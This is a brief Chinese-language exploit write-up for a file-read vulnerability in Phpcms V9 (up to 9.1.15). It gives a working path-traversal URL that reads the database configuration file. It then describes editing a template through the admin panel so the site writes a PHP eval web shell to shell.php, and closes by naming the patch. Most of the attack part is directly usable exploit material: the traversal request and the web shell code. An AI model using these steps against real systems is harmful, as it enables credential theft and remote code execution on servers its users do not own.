phpcms文件读取漏洞

影响版本

Phpcms V9.1.15 Release 20120606及之前版本

测试版本

Phpcms V9.1.5 Release 20110705

漏洞描述

phpcmsv9\phpcms\modules\search\index.php文件中public_get_suggest_keyword函数

漏洞利用

访问连接:
http://127.0.0.1/phpcmsv9/index.php?m=search&c=index&a=public_get_suggest_keyword&url=asdf&q=../../phpsso_server/caches/configs/database.php
读取数据库配置,如果开启数据库远程连接,就可以添加用户密码。

登录后台拿shell
界面->模板风格->default->详情列表->search文件夹中->编辑index.html,在后面添加代码

<?php $shell = '<?php @eval($_POST[cmd]);?>';file_put_contents('shell.php',$shell);?>


保存后,访问localhost/index.php?m=search,即可在根目录生成shell.php

漏洞修复

补丁版本:patch_20120606_20120716_UTF8.zip